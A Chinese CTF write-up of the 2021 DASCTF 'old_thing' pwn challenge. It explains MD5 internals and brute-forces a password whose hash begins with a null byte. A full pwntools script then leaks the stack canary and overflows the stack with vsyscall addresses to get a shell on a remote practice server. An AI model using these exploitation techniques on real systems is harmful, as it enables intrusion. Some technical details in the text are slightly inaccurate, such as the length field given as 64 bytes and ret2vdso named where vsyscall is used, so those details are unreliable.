2021DASCTF实战精英夏令营暨DASCTF July X CBCTF old_thing

在这里插入图片描述RELRO半开。

在这里插入图片描述

进来以后首先需要登录。
用户名是admin,但密码不知道。
给了一个逆向,经过研究是md5.

为啥会是md5?
首先我们看一下md5是个啥算法。

首先要知道无论输入多长,输出的md5值一定是16字节。
还要知道md5有个叫标准幻数,也叫特征数的东西。
它是16字节,用16进制表示的话是0123456789abcdeffedcba9876543210.
一般我们的程序里面常见的是int类型数据,因为是小端序,一般我们在程序中看见的就会是
0x67452301 0xefcdab89 0x98bacdfe 0x10325476.

那么大概会进行一些什么操作呢。
首先会补位,补成512位的整数倍加448位,规则是先加一个1,剩下都是0.
这个补位一定会做,哪怕本身它就是512位的整数倍加448位。

然后再加上64字节的长度。最后变成一个512的整数倍。

512位是64个字节。
我们每一个64字节是一个小组,然后将每个小组的64字节拆开成16个四字节备用。
然后呢定义了四个函数,函数是固定的,他有七个输入。分别是四个幻术,一个四字节,两个常数。
然后分别对每个函数带入不同的4字节,分别计算,最后得到16字节的输出。

这个16字节的输出会被当成新的幻数,继续下一轮的512字节。
然后最后的输出16字节就是我们得到的md5的值。

然后呢对于这道题我们怎么做,我们首先会看到这个东西。
在这里插入图片描述那么看到这里已经基本上是九成确定是一个md5,但是不排除它可能会在md5外面进行一些嵌套。

它不会在md5里面进行一些乱七八糟算法的修改,那太傻逼了,成熟的算法不能乱动的。只能做嵌套。

我们验证他是不是的手段就是进行动调。输入一次,然后动调得到最终结果,跑到网站上试一下,最后的结果是发现一样的,所以我们确定这是一个md5.

回到这个题目,md5然后呢,我们是不可能得到这道题目的正解的,因为md5是不可逆的。
而且,你会发现我们md5得到的是16个字节,但是它的那个最后进行比较的值,显然要多得多,并不是16个字节。

正解就不大可能了。

问题出在这个地方。
在这里插入图片描述这里显然会有一个off by null。把啥变成了null,把s2,也就是我们最后密码md5出来的值第一个字节变成了null。
那我们如果想绕过这个strcmp,我们只要保证我们的输入经过md5之后,第一个字节是’\x00’就可以了。

那么咋整,我们只能去爆破。

import hashlib
import string
import itertools

target_c = '00'

for i in range(8):
        print(i)
        for mes in itertools.product(string.ascii_letters, repeat=i):
                if hashlib.md5((''.join(mes)).encode()).hexdigest().startswith(target_c):
                        print(''.join(mes))
                        exit()

他利用的是爆破可显示字符看哪个的md5第一位是00.
用了product函数。
在这里插入图片描述

爆破出来是gB。

在这里插入图片描述进来之后是两个功能,一个leak,一个overflow。

在这里插入图片描述因为开了canary,所以我们只要先把canary最后一个字节的’\x00’写掉,然后泄露一下就好了。

之后就是overflow一套带走。

要注意开了PIE,所以我们只能利用ret2vdso,在栈上找一个比较合适的地址,通过partail write,来getshell。

from pwn import*

context.log_level = "debug"

r = remote("node4.buuoj.cn", "26568")

r.sendafter("please input username: ", "admin")
r.sendafter("please input password: ", "gB" + '\x00' * 0x1e)

backdoor = 0x4007d6
vsyscall = 0xffffffffff600000

r.sendlineafter("3.exit\n", "2")
r.sendafter("your input:", "a" * 0x18 + 'b')
r.sendlineafter("3.exit\n", "1")
r.recvuntil('b')
canary = u64(r.recv(7).rjust(8,'\x00'))

r.sendlineafter("3.exit\n", "2")
payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(vsyscall) * 4 + '\x9f'
r.sendafter("your input:", payload)
r.sendlineafter("3.exit\n", "3")

r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值